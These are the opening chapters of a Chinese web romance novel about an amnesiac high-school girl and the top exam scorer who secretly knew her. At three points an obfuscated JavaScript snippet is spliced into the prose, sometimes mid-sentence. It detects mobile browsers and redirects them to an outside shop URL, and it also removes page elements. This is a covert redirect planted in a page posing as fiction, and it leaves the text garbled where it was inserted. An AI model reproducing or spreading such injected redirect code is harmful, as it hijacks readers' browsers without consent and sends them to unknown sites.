《失忆渣了暧昧对象后》 1. Chapter 1 CauseImissyoumorethanwordscansay我思念你的程度远非言语所能表达. ——《WinterInMyHeart》 * 六月底,虽说刚入夏不久,锦城却已闷热难耐。这里地势低洼,群山环抱,热浪被层层山峦困在这里,整座城市就像一个密不透风的火盆。 高考出分数后,这天下午,锦城一中的教学楼外就光速贴满了“战报”。 教室内,空调制冷极差,虽然学生人手一个小风扇,但还是热得慌。不少学生把注意力放到了窗外,温知妤已经听后面女生念叨一节课了。 “还有两分钟,撑住了——!” “我要中暑了呜呜呜。” 下课铃刚响,学生们便一股脑到了走廊外,一方面为了透透气,另一方面是闲的没事去看新光荣榜上的面孔。 “啊啊啊温温,你看这里有个帅哥!”余葵兴奋地拽了拽温知妤的袖子,一脸花痴。 “怎么可能?” 也不怪她不相信。 学校向来对摄影这件事不拘小节,所以照相的环节,从来都是随便拉个老师,用手机精准背光地拍出死亡角度。 温知妤之前月考有幸被拍过一次,从此留下了深刻的阴影。 更何况是高考的战报,学校生怕别人看不见,照片尺寸印得十分之大,完全算是脸部特写。 温知妤在心里默默对学霸们同情了一番,却拗不住余葵的软磨硬泡,被拉着到了走廊的右边。 “就是这个,居然抗住了一中的镜头!你觉得怎么样?”余葵把手往榜上指了指。 其实在她指之前,温知妤就从众多面孔中找出了一位少年。他肤色白皙,脸型精致又流畅,一双褐色的眼眸冷冷清清,甚至能看见眼下的小痣,和四周的典型理科学霸明显不在一个图层。 照片下方写着:盛北烁,理科708分,全市第一,省排9名。 “确实长得很好看。”温知妤少有的肯定。 “温温,你以前不是跟他一届的吗?一层楼都没见过?” “没有吧。”她说,眸色有些黯淡。 夏天的热浪一层层穿过走廊,而温知妤突然想起去年那次元旦汇演,后背冒出了冷汗。 她那时正在屏住呼吸,曲目进入最后也是最难的部分,全身的注意力都集中在了指尖。 “咔、嘣!!” 头顶斜上方,一声尖锐刺耳的金属断裂声,毫无预兆地炸开。 紧接着是令人头皮发麻的,玻璃爆响的声音! “灯!吊灯怎么砸下来了!” “啊——快跑!” “上面还有同学!” 台下瞬间迸发出尖叫声。 温知妤张皇抬头,吊灯下坠的速度快得惊人,水晶折射着扭曲的光,像一场缓慢又迅疾的噩梦。 时间仿佛被飞速拉长,又凝固了。 少女浑身一软,窒息的剧痛从指尖蔓延到了全身。再醒来时,母亲薛路已经双眼通红地在病床边,身边还有其他人,不过她没什么印象了。 她的手被纱布厚厚包裹,剧痛,心跳声重重击着耳膜。 在医院修养了半年多,父母怕耽搁学习进度,便给她办了留级手续。 尽管她自己不愿意。 余葵觉察到她神色不对,抱歉地岔开话题。“可能人家成天三点一线好好学学习,出门走下水道吧哈哈哈!” 上课铃响了,走廊里闹哄哄的人声平息下去,余葵在身后推了推她,“走吧,怎么还看入迷了?” 温知妤回过神来,虽说这个人不认识,却总觉得在哪见过。她蹙了蹙眉,临走之前,又回头多看了一眼。 * 战报贴出来当天下午,盛北烁就受邀回学校录采访视频。 这是一中沿袭多年的惯例,每年高考放榜,都会请上红榜的学生出镜。既是给下一届备考的学弟学妹们立榜样,也能提升校方知名度,更何况今年拿下的是市状元,校方更是格外重视。 盛北烁就站在教学楼走廊里,少年生得极为惹眼。皮肤是干净清透的冷白,脖颈线条利落修长,简单一件纯白色衬衫,黑色工装裤,身材高挑匀称,发尾随意地翘起一点。 后面跟着一个摄影老师,和两个负责采访的女同学。女同学朝他瞄了一眼又一眼,悄悄凑着咬耳朵。 钟扬一个飞跃,在一把勾住他的肩,低声说: “烁哥,我瞅那俩女生一直在偷瞄我,肯定是我今天帅得太显眼了。等采访一播,你说我会不会立马收获一大堆桃花啊?” 钟扬是盛北烁的小学同学,俩人也是有缘,高中在一个学校,住的也近,就经常约球。 他比盛北烁矮了半个头,长相端正老实,时常犯病说话文绉绉的。为了这次采访,前两天还专门去剪了个盛北烁同款微分碎盖。 盛北烁瞥了他一眼,懒洋洋道:“自作多情,哪个女生这么不长眼?” 钟扬当即笑着肘击:“你他妈不能说句人话啊?” 话音落下,身后原本竖着耳朵偷听的两个女生,瞬间没忍住,‘噗嗤’一声笑了。 一行人往空教室走,准备找场地录制采访。此刻的高三教学楼,格外空旷寂静。 高考结束,毕业学生都已离校,每一间教室的板凳全都倒扣在桌面上,桌椅整齐,却没了往日的喧闹。 钟扬不笑了,故意伤春悲秋地叹了口气:“真是人走楼空,悲哉!” 盛北烁略抬眼望了一下高三(A)班的牌,双手插兜,漫不经心地走了进去。 钟扬又一次说:“烁哥你还挺有情怀的,录视频还专门选了你们班,唉,怀念啊。” “怀念你就重读一回高三呗。” 盛北烁忍不了回怼一句,目光扫到后排靠窗的位置,注视许久。 “不不不,可别!”钟扬立马说。“学习太苦b了,千刀万剐我都不回去重遭一遍罪!我是怀念当时一起并肩作战的同学好吧!” 一旁负责采访的女生,看了眼手腕上的表,这会儿临近其他年级下课,再耽搁怕会打扰拍摄,便说:“盛学长,时间差不多了,我们现在开始今天的访谈吧。” “嗯。” 摄影的刘老师麻利地支起三脚架,来回调了几遍灯光,挑了个光线好一点的角度,示意准备就绪。 钟扬百无聊赖地在旁边候着,手往外套口袋里一摸,不知从哪弄来一小把瓜子,嗑得嘎嘣脆,一副看热闹的欠揍模样。 采访的女生对着手稿清了清嗓子,念起学校官媒那套固定开场白: “亲爱的观众朋友们,大家好,欢迎来到本期高考特别访谈。一年一度的高考落下帷幕……今天,我们邀请到了本市理科状元盛北烁同学,和大家分享他的学习心得!” 盛北烁抬了抬眼,收敛一身散漫,语气清淡开口:“主持人好,各位观众们,大家好。” “大家都特好奇,你是怎么在高手如云的高三里,保持这么优异的成绩?有没有特别的学习方法和大家分享?” 钟扬一边嗑瓜子一边想笑,什么狗屁学习方法,这哥完全是靠脑子啊。 少年靠着桌沿,直白又张扬地开口。 钟扬只听见一句“该吃吃该睡睡,老师的话听听就好,不用全照做”。他动作一顿,差点把壳儿掉地上。 这哥仗着毕业了,半点客套场面话都没有,伺机报复教导主任老张呢? 采访的女生笑了,继续按照流程来,提到了如何调整心态。 盛北烁微微垂眸,语气比刚才柔和了几分: “我爸妈对我一直是放养,没给过什么压力。真要说怎么撑下来,大概是心里有个精神支柱吧。 上学期有位很优秀的同学,我一直很欣赏她。虽然她后来因为受伤留级了,但那段时间,她给了我很大的动力。” 虽然她现在不记得我了。 “啪嗒—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492276|202286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”钟扬手一抖,瓜子壳终于掉在了地上。他整个人都僵住,一脸“你玩真的”的表情。 不是吧哥,这种话能直接在学校官媒采访里说吗?这么直白的吗?! 负责采访和摄影的两个女生飞快地对视一眼,眼里立马亮起八卦的光,又不敢表现得太明显,拼命憋着。 盛学长说的那个…… 该不会是传说中成绩好但意外受伤留级,高高在上脾气又臭的那个大小姐吧?? * 传闻中脾气臭的温知妤这会儿正恹恹地靠在窗边,有一搭没一搭看着表。 临近期末考试,课业压力很大,但因为气温的炎热,加上是周五,晚上六点钟就要放假,很容易让人心生浮躁。 这节课带班的刘老师没来,据说上节课前就被任命给市状元摄影去了。于是她们班就上起了自习。 大概过了半节课,窗外传来了走动声。温知妤抬眼,看见刘老师匆匆抱着个支架往教导处走,身后跟着名男生,他旁边有个白T黑裤的少年,个子挺高的。 她没太看清,但感觉侧脸很好看。 刚才在榜上看到的不会就是他吧? 温知妤转着笔,后桌突然抛来一张小纸条:“温温,放学先别走,陪我去逛逛书店呗。” 一中在锦城算是百年名校,开了三个分校区,她们成绩不错,加上家在市区,就选择了校本部。 过了校门口那条公路,往前走就是一条商业街区,骨汤冒菜店,渝城火锅,还有各种炸串,每到放学,这里成为了一中学子聚集地。 渝城火锅的旁边有一家书店,平时人不多,月考前才比较火爆,全是抱佛脚的学生。温知妤很少去,总觉得有些好笑,书香味混着火锅味……想想都别扭。 “今天怎么良心发现了,不会是是为了去商业街吃东西吧?”下课后,温知妤问。 “哪有,我说的不是那家!”余葵说,“是新开的一家书摊,就在你们家属院旁边。” “那人很多吧?”温知妤蹙眉,“我不想去。” 她向来不喜欢凑热闹,更何况是夏天,气温那么炎热,在狭小的书摊人挤人,那可太难受了。 “温大美女,求求你了!”余葵耍无赖,然后又有理有据地说:“高考成绩出来,肯定有很多二手学霸笔记,淘到一本,还能提高学习效率呢。” “走嘛~”见她犹豫,余葵又接着劝说:“万一有什么独家秘方,我们不是可以突飞猛进?” 温知妤有些好笑:“又不是武功秘籍。” 不过反正离家也近,见余葵这么想去,就大发慈悲给她做个伴吧。 这是一个很有文艺气息的书摊,不大,书籍的陈列干净。老板是个年轻漂亮的女性,烫着时髦的大波浪。她热情招呼着门口的同学,空调风凉嗖嗖的,人也没有想象中那么多,再往里走,就清净了。 余葵挨个摸过每一排的书,格外兴奋,很快就选出了几本,“来都来了,你不买点吗?” 温知妤说:“没什么想买的。” “吱呀。”一声门响。 她们应声往左后方看去,现在才注意到,里面还有一扇小门。 少年个子高挑,穿着简单T恤。出门时,头略往侧边低了一点,露出好看的下颌线,暖黄的光影将他发梢染成了金棕色。 温知妤不偏不倚与他对上视线。 那人五官线条十分流畅,生了一双好看的桃花眼,瞳色是淡淡的褐,眼尾微微上挑,下面还缀着一颗小痣。 她大脑一片空白,不恰当地形容,这种感觉…就像是被人用脸攻击了一般。 “需要笔记是吗?”少年声音懒洋洋的,像刚醒不久。 余葵手中两本书全掉了。 门外的巷子里蝉鸣骤然放大,一排老槐树被风吹得簌簌响,她甚至,还能听见书店低低的风扇声。 温知妤的世界短暂安静了几秒,她听见自己的声音。 “呃……对。” 2. Chapter 2 2018/6/25 “采访结束后,我再次遇见了小鱼,她还是不记得我,也不要我送的书。” ——盛北烁日记 * 余葵震惊地看着温知妤,眼神写着:不愧是颜狗啊你,还要为颜值付费!? 温知妤一脸寻常。 趁少年转身回里屋拿书,余葵伸手捂住她的眼睛,半拖半拉想地把人往收银台带,压低声音笑: “走了走了,再看你魂都要被勾走了,得把这家书店买下来。” “等等你选的书还没拿……” 温知妤蹲下身去捡,一双骨节分明的手就先行替她捡了起来。距离不远不近,却恰好能让淡淡的皂角清香飘过来。 她抬头,见少年去而复返,手里多了几本笔记。 温知妤下意识地往后退了点,心神有些慌,便随手接过笔记,翻开中间一页。 字迹漂亮劲秀,细细记了各个章节的知识点。 余葵暗叹一声这下走不了了,也就跟着凑过来看。“哇,字还挺好看。同学,你是店主吗?还是来帮忙的?” 少年目光始终温知妤身上,盯着她看了良久。“帮忙的。” 他凝了凝神,似是意有所指:“笔记按课本整理得很细,对于某些记性不好的人,应该挺有用。” 温知妤抬头,终于对上了他的视线。 少年有双漂亮的眼睛,看人时眼尾微扬,带着点说不清道不明的意味,像有几分勾人?还是怨怼? 她虽然颜狗但不傻,心里浮上一点不自在…… 这人不会是仗着长得帅就随便撩人的海王吧? “那你成绩应该很好。”温知妤正色往后退了一步,淡淡地说。 “还行吧。”他收回目光,褐色眸子彻底暗了下去。 余葵也拿了一本,翻开首页,就发现了笔迹主人的名字。 盛北烁。 余葵:?!! 她这才把眼前的少年和光荣榜的照片联系起来,好像的确相似,但线下的五官明显更有冲击力,好看一百倍,差点没认出来! 她悄悄戳了戳旁边的温知妤。 而温知妤的注意力压根没在这里,她无意间看到了笔记空白处,写了一个名字: “笨蛋小鱼。” 很亲昵的称呼,像是给对象写的。 高中生笔记经常会记些额外的事儿,像写伤感句子,或是暗恋对象都不足为怪。 她不是个爱八卦的人,就忽略了笔记主人的青春心事。这些知识点倒记得很不错,方便回去预习功课。 温知妤抬头,又撞上了少年褐色的双眼,这人的视线好像一直没从她身上离开。 “你好,这三本我都买了,谢谢。” “送你了。”他还是垂眸看她,薄薄的眼皮抬都不抬。 温知妤和余葵对视一眼,都懵了。 余葵小声嘀咕:“人帅心善也不能这么倒贴吧?” 温知妤也觉得不好,礼貌拒绝:“不用了,我还是付……” 她话还没说完,就被后面一拥而上的女生们打断: “请问你就是盛学长吗?长得好帅啊!”一个女生挤到前面。 “你高考成绩那么好,可以给我一个签名吗?沾沾喜气行吗!”另一个女生激动地递上本子。 不一会儿,像是都知道了盛北烁在这里,女同学们没再堵在门口,而是陆陆续续往里进。 少年蹙眉,眼睁睁看着温知妤接了个电话,匆匆去门口结账了。 他心生烦躁,抬起薄长的眼皮,不留情面地说:“我签名又不能加分,想沾喜气,不如回去多做几套题。” 递本子的女生脸一下子涨得通红,手讪讪地缩了回去。旁边几个原本也跃跃欲试的同学,互相看了看,谁也没敢再开口。 气氛尴尬地僵持了几秒,最终,女生们三三两两地散开了。 盛北烁收回视线,目光又往门口一扫。已经空了,早没了温知妤的影子。 他“啧”了一声,转头,正好对上小姨那双笑弯了的眼睛。她托着腮,显然是把刚才那出戏看了个全程。“小烁,没想到你长了张帅脸,居然这么刻薄,怪不得从没谈过恋爱。” 显然是引人入室罪魁祸首。 盛北烁无语,揉了揉发胀的太阳穴,正准备去里屋清静一会,手机铃就响了。 来电显示是盛柔。他接过电话:“喂,妈。” 盛柔那边有些嘈杂,像是在厨房,锅里传来“滋啦滋啦”的炒菜声,还能听见切肉的声音,可谓热火朝天。 “小烁。”她开门见山,带着点调侃的调子,“今晚家里有重要外交活动,请务必早点回来,不得迟到缺席。” 盛北烁靠着书架,闻言挑了挑眉:“又是请你哪个朋友来?” “啧,怎么跟你妈说话呢?”电话那头的盛柔立刻驳回,伴随着厨房水龙头哗哗的流水声,她随手关掉水阀,擦了擦手。 “今晚主角可是你,我叫了你那群朋友,还有我闺蜜,慰劳高考发挥出色的小烁同学。” “行。” 盛柔再次提醒:“别敷衍我啊,赶紧收拾收拾回来,别让一屋子人等你一个。你小姨也真是,高考完还抓你当壮丁……” 盛北烁“嗯”了一声,没再多说,随口应了两句便挂断了电话。 盛柔的闺蜜住得近一点的,不就是薛路阿姨吗?她应该不会一个人来,兴许会带上妤妤。 他弯了弯唇角,将有线耳机取下,随手揣进上衣口袋,抬眼看向柜台后忙着打理店铺的小姨,声音散漫地打了声招呼:“走了小姨,您慢慢看店。” * “没想到盛北烁人还挺好的,完全不是传言中那种拽哥啊。”余葵出了书店门,就小声感慨道。 温知妤有些好笑,盯着前面新铺的石板路。“就一下午的时间,你就把人家打听清楚了?” “也不算打听吧,他长那么帅那榜一出来直接炸了好吗?后排议论我随便听了点儿。” 余葵继续咬着奶茶吸管,边走边说话,用胳膊肘戳了戳她:“不对啊温温,他该不会是早就认识你吧?” 温知妤摇摇头。“我都没见过他。” “那他是对你一见钟情了?”余葵越说越离谱。“不然为什么不送别人,就送你?” “小葵花,平时少看点言情小说吧。” 温知妤简直被逗笑了,戳了戳她的额头。“你看他那长相,估计身边的桃花就没断过,谈恋爱肯定都排到巴黎了。” 余葵嘀咕:“那我一开始拉着你要走,你不也没动吗……” 温知妤没注意,想起笔记本上那句话,推断道:“而且他多半有女朋友。” “对我献殷勤,多半是觉得我长得好看,想撩着玩呢。” 余葵定定地看着眼前的少女。小巧的鹅蛋脸,皮肤白里透红,眼睛还亮晶晶的。 见她如此笃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492277|202286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定,就按下心里的粉色泡泡,说了一句:“好吧好吧,你好看你有理。” “孺子可教。”温知妤弯了弯眼睛。 两人说着话,不知不觉走到了天桥下,因为余葵是住校生,宿舍楼设有门禁,不能离校太久,于是她们就在这里告别了。 “唉,真舍不得你。”余葵最后说道,“要是你还睡我下铺就好了!” 温知妤笑了笑转过身,眼底划过一丝黯然。 高一的时候,温知妤父母常驻在国外工作,所以她就在学校住,和余葵成了上下铺,直到高二上的期末的那场事故。 一朝跌入泥沼。 那以后,温知妤精神上受到了严重的惊吓,忘掉了许多事情,甚至听到“钢琴”的字眼,就忍不住发抖。 家里请过好几个心理医生,但并没有完全恢复,薛路便在家属院租了个房子,回来照顾她。 想到这里,又一阵耳鸣。少女深吸一口气,心想今天怎么老想起这件事。 她加快步伐,努力抽离出来。 刚刚在书店结账时,薛路来了个电话,让她先别回家,一起在家属院六栋吃晚饭。 * 家属院,顾名思义,是锦城一中教职员工住的地方。这里已经有二十多个年头,老实单元楼并排而立,部分墙皮已然脱落。 高大的梧桐枝繁叶茂,枝叶把院子遮出一片阴凉,风一吹,便落下斑驳的光影。 院子不大,虽然总是上坡下坎,但胜在通勤方便。到了夏天,梧桐树下总会坐满穿着背心的老头,慢悠悠地下象棋。 有的老师在子女毕业后就搬走了,便把空置房子租了出去。温知冬搬到七栋的那天,薛路就笑嘻嘻地说:“这家房东的孩子考上了电子科大,风水不错!我为了租到,提前蹲了半年呢。” “妈,你也太迷信了吧。”少女笑了笑。“有这闲心,不如多给我买两套试卷刷刷。” “行啊。”薛路终于看见女儿笑了,自己心里也欢喜。“市面上的教辅,你看上哪套,妈都给你买回来!” 于是温知妤就光荣“继承”了那位学姐的书桌。 木质桌面光滑温润,上面还贴有小纸条,全是提醒自己静心或者鼓励的话。 温知妤觉得很亲切,自从搬来了这里,她就喜欢上这个地方。 “叮铃铃——” 身后传来自行车的声音,拉回了温知妤的思绪。她往旁边让了让,很快几个骑着单车的孩子过去,笑着,闹着。 温知妤看了眼手表,晚上六点钟了,于是略微加快了脚步。六栋七栋虽然听上去不远,但因为布局的原因,两栋楼分居在南北两侧,步行要走十几分钟。 “妤妤,在这里!”薛路在树荫下朝她招了招手,母女俩一同上楼。 薛路敲了敲门,不一会儿就传来了脚步声,迎面而来的是位时髦的女人,看上去很年轻,不过三十多岁。 红唇大波浪,温知妤莫名想到了书店的老板,长得还真有点相似。 “妤妤,这是妈妈的朋友,叫柔姨。” “柔姨好!”温知妤乖巧地喊。 “哎呀真乖,不像我家逆子。”盛柔高兴地摸了摸她的脑袋。“半年没见,妤妤又长高了哦!” 温知妤礼貌地笑了笑,手指却微不可察地僵了僵。 也对,既然是母亲的朋友,搬来这么久应该见过面,可为什么一点印象也没有? 她原本以为自己恢复得很好了。 3. Chapter 3 * 盛柔家里的来人,除了温知妤和薛路母女俩,还有三四个男生。 温知妤坐在一旁默默观察,从几句对话里便大致理清了几人的关系。 其中一个叫阮明肆,看上去像个混混,却听话地在厨房打下手,像是亲戚;另外两个男生应该是盛柔儿子的朋友,他们打打闹闹,气氛挺活络的。 就是对她态度有点奇怪。 温知妤也说不出具体再哪,就是有意无意看着她,或许是错觉。 “妤妤,过来吃饭吧!” 盛柔在厨房忙着盛饭菜,她丈夫阮振国就一盘盘往桌上放,菜式十分丰盛,他们家用盘也讲究体面。 比如水煮牛肉用青花大瓷盆,辣子鸡则用粗陶盘,还有剁椒鱼头,对半剖开,上面一层层铺上了花椒。 温知妤坐着等了一会儿,眼睛都看直了,全是她爱吃的辣口。 盛柔端着一大碗汤出来,正好看见她这副眼巴巴的模样,忍不住笑着揉了揉温知妤的头发:“饿了吧妤妤?要不你先动筷子,别拘着,就当在自己家一样。” “不行不行。”薛路赶紧摆摆手。“主角都还没登场呢,咱们先吃像什么话?再等等吧。” “等那小子?”盛柔把汤碗放下,埋怨道:“指不定又跑哪儿野去了,放假了就没个正形,真不让人省心。” 温知妤也连忙跟着摇头,坐得更端正了些:“阿姨,还是等哥哥回来一起吃吧,这样才热闹。” “看看,看看人家小妤多懂事,”盛柔又爱又恨地叹口气,对阮振国说:“那小子要是有她一半省心,我能年轻十岁!” “哎,小柔你也别这么说孩子,”薛路笑着打圆场,语气里不乏欣赏。 “路上说不定有什么事耽搁了。那孩子可给你长脸了,高考是市状元呢,多少人羡慕都羡慕不来。” 旁边的阮振国也笑着点头,对盛柔道:“没错,他考完也没闲着,经常去书店里帮忙,挺勤快的。” 盛柔寸步不让,把盘子一放,叉腰说:“就是被你惯的,我能不知道他?这半个月净往琴行跑,就这几天才良心发现去他小姨那呆着。 提取到了关键词,温知妤耳朵一竖,人有点懵。 阮明肆解围道:“伯母,烁哥也是为了陪我才去的,我最近可在认真学吉他。” 盛柔抬眼瞥他,了然又调侃的反驳:“你能多用心?高考结束又是打耳钉又是学乐器,怕不是为了上大学找女朋友吧。” 阮明肆挠挠头“嘿嘿”一笑,耳骨上的小链子随之晃动。他只比盛北烁小两个月,也是今年参加的高考。 少女侧头看了看,他眉眼和阮振国相似,面部棱角硬朗,留着寸头,一副桀骜的样子。此刻却在乖乖听训,画面有点滑稽。 “阿姨,哥哥是理科状元吗?”温知妤问。 “是啊,咱学校光荣榜贴着的。”盛柔说,“照得可丑了,我都不好意思多看,哈哈哈!” 温知妤脑子里产生了一个不好的念头,瞬间绷直了后背。 不、会、这么巧吧??! 真是说什么来什么,她正想着,门口好巧不巧传来“嘎达”一声响,夏夜的热风趁机钻进课厅。 高挑的少年侧身进来,微湿的卷发随意搭在额前,夜色打在优越的鼻梁线上,由暗到明,露出眼下的小痣,慵懒又俊朗。 “阿姨好。” 他反手带上门,目光淡淡扫过客厅几位,最后,视线若有似无地落在少女僵住的脸上。 “妹妹。” 旁边的钟扬嘴角压着笑。 薛路在桌下暗暗拉了拉温知妤的袖子,她这才从震惊中反应过来,“啊”了一声。 盛北烁的回来,仿佛带着夏夜的燥热,让室内温度都提高了几分,少女后背微微冒了汗。 这不就是今天在书店碰见的海王?? “你还知道回来?”盛柔嗔怪地看了他一眼。“让人家等好久了,妤妤饿了吧,快吃!” “小烁,你坐妤妤旁边,照顾着点妹妹。” 盛北烁这次倒是少见地依言,在温知妤左侧拉开椅子坐下,而少女又悄悄往右边挪了一小寸。 盛柔满意地拿起一壶葡萄酒,给桌上的长辈和几个孩子依次倒上,众人纷纷随性举杯:“今晚热烈祝贺小烁高考凯旋,拿下市状元,前程似锦!” 酒杯一发出清脆的碰撞声,饭局的气氛就很快热络起来,父母辈围坐在一起火热地讨论着,话题东拉西扯,从邻居老王家女儿的升学宴,说到房东小赵的工作琐事,再漫无边际地聊到生活里的琐碎日常。 总之天南地北无所不谈,可以从百草园讲到三味书屋。 温知妤松了口气,索性专心低头扒拉着碗里的饭菜,一口又一口,假装专注于眼前的食物,以掩饰心底的不自在。 过了一会儿,聊高兴了,盛柔笑着转头,自然而然地把话题又引回到了自家儿子身上。 “听你薛姨说,妤妤期末数学有点跟不上,正犯愁呢。”盛柔一边说,一边给温知妤夹了块牛肉。 坐在对面的钟扬一听,立马机灵地接话:“烁哥,你现在正好放假,没什么事,暑假要不就给妤妤补一下数学课呗!” 盛北烁挑眉,目光掠过一旁少女,唇角勾起极浅的弧度:“可以啊。” 温知妤顿了顿:“谢谢,不麻烦了。” 两人几乎同时说了出来,瞬间有点尴尬。 “哎呀这孩子,客气什么!”盛柔爽朗地笑了:“钟扬说的对,他时间多着呢,闲着也是闲着,能帮上妤妤正好。” 温知妤心想完了吧,阿姨您倒是热心,也不考虑考虑实际情况,人家可是有女朋友的,吃起醋来怎么办? 小说里男女主误会的桥段很多,这种情节就是其一。 又或许他们根本不知道呢?温知妤胡思乱想,只觉得饭菜都有点食不知味了。 少女瞄了一眼盛北烁,看着人一脸不缺桃花的样子,估计谈得多了,也懒得给家里汇报这些小事吧。 “哎对了,我记得妤妤可擅长弹琴了。”盛柔说:“大学有没有考虑学个音乐相关的专业?” 薛路笑意淡了些,说:“看她自己的喜好吧,现在还说不准呢。” 阮振国朝盛柔使了个眼色,后者立马反应过来,找补说:“不过小妤成绩不错,也不一定要走这条路。” 温知妤垂眸,手指不自觉往掌心蜷了蜷。 盛北烁注意到少女的小动作,微微蹙眉:“妈,你喝醉了就别多说了。” 盛柔连忙笑着应和:“是是是,瞧我这嘴,净说些有的没的!“ * 这顿饭吃得热闹又尽兴,等到晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492278|202286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上九点多才散了场。 钟扬也住在家属院,距离不远,加上高考结束,家里对他处于放养状态,早晚回家都无所谓,别死在外面就行。 关了房门,他熟稔地揽住盛北烁的肩,很欠地学着他的刚才的语气:“妹、妹~” 盛北烁气笑了:“你有病啊?” “烁哥,今天来那女孩儿就是妤姐?看样子安静乖巧,和以前的样子不大一样啊。” 钟扬搭腔,眼看就要一屁股往盛北烁床上坐。 他的床不算大,却收拾的干净整洁,浅灰色被子整齐地叠在一块,清清淡淡的皂香。 “给老子起来。”盛北烁皱眉,一把将钟扬拽起来。 “差点忘了烁哥洁癖,小生失礼失礼。”钟扬挠挠头,又一拍脑子。“别这么无情吧?我今天还帮着撮合你俩呢!” “不过妤姐今天都叫你哥了,看样子是真把以前的事忘干净了。这算什么,有情人终成‘兄妹’是吧?哈哈哈哈!” 盛北烁:“眼瞎就去治,她那是客气。” “行行。”钟扬没骨头似的又往他书桌边一坐,问:“不过烁哥,你以后打算怎么办啊?” 他一边说,一边侧头瞥了眼盛北烁。 少年语调故作平常,但却比平时沉了不少,褐色的眼睫低垂,薄唇绷成一条直线。 于是在心里默默叹气: 啧,可怜。嘴上凶得很,心里指不定多难受呢,受了情伤果然都这德行。 温知妤一路憋着心事,刚开了家门,就弯腰麻利换下鞋子,拎着书包走向自己的房间。 薛路知道,她心情烦躁的时候,就喜欢关门独处,这一点和从前没变。 “哎,等等。” 薛路直接拧开门把手,半只脚顺势迈入房间,一只手还抱着一堆衣服,她随手将怀里的衣物往温知妤床上一放。 “我把阳台刚收的衣服放这儿了,你记得折一下。” “知道了。”温知妤闷闷地应声,她不喜欢独处时被人打断,但薛路总是没在意。 “哎呀,你床怎么也乱得跟个狗窝似的!”薛路余光瞄了一眼她的床,浅绿色被子半搭不搭地堆在床尾,被角几乎被卷成了寿司,一看就是早上被匆匆踢开就没再理过。枕头下面压着一对耳朵,受害者是旁边一只毛绒兔子。 “我待会自己收……” 她还没把话说完,薛路就索性抬脚走到床边,伸手就去整理乱糟糟的床褥。 人都已经进来了,再赶也没用。温知妤抿了抿唇,没忍住问:“妈,盛阿姨和阮叔叔,是做什么工作的啊?” 薛路一边伸手扯平被角,一边回头看了她一眼,语气带着几分无奈:“妤妤,你怎么又忘了?他们都在你们一中教书,盛阿姨教语文,阮叔叔教数学。” “他们夫妻感情可好了。”薛路继续说,语气带着些不易察觉的羡慕。 “早上看见阮叔叔骑着自行车载盛阿姨去学校,傍晚又一起买菜回来,从我认识他们起,一直都是和和气气的。” 温知妤坐在椅子上,指尖捻着衣角:“哦。怪不得盛北烁成绩这么好。” “妈。”她犹豫了一下。 “嗯?”薛路随口应着,手上还在整理床单一角,没太留意她异样的神色。 “我之前和盛北烁,有什么交集吗?” 4. Chapter4 2018/7/2 “夏天是她的浅绿色的衣裙,是我难以遏止的心跳。” ——盛北烁日记 * “没有吧。”薛路认真回想。“你们都没见过几面。” “哦,那也不是很熟嘛。”温知妤说,垂在身侧的手松了松。 家属院的夏夜向来安静,她家住在三楼,少女躺在床上,窗外梧桐树影摇曳,房间里萦绕着栀子花的暗香,还能听见蝈蝈在低低地叫。 笨蛋小鱼。 那四个字,又毫无征兆浮现在脑海里。 高考成绩公布那天,紧张的不只有毕业的学长学姐,还有这群高二在读的学生。 一边是即将踏入高三,父母的念叨和期待越来越重;另一边,期末考试近在眼前,谁都不敢松懈。 锦城一中不知从哪儿学来了半吊子的“走班制”。说是因材施教,实则是把年级前五十名抽去A班,其余人留在原班。 盛夏燥热,蝉鸣聒噪,高二全体学生就像是鸡血,想在期末搏一把,冲进A班,为高三搏个好起点。 这段时间新课早已结束,作业不多,大半时间都留给自主复习。温知妤数学偏弱,便坚持每天刷一套数学卷。 可她再怎么拼,也赶不上同桌向初兰。向初兰是班里出了名的“卷王”,早上从不赖床,大课间跑操一概不去,整日埋在教室里刷题。眼镜片儿越来越厚,常年稳居年级第二。 温知妤每每看她,都忍不住感叹她的自律。 一班按月考名次选座,成绩靠前的优先挑选。上回月考,温知妤考到第四,一口气进步四十多分。向初兰当即就“踹”掉了原来的同桌余葵,径直换到了她身边。 温知妤猜她大概是想来取取经。可扪心自问,她并没有学会什么考试技巧,这个月两人也没怎么说话。想到这儿,她心里难免有些惭愧。 当了一个月的同桌,向初兰算是看明白了:这位温大小姐,脑子是真不太好使了。 半年前她受了伤,一直在医院待着,才重新回校捡起功课,留级到了她们班上。 回来之后,温知妤和传闻中不大一样了,她一改往日高高在上的样子,让向初兰想找茬都找不到由头。 没错。 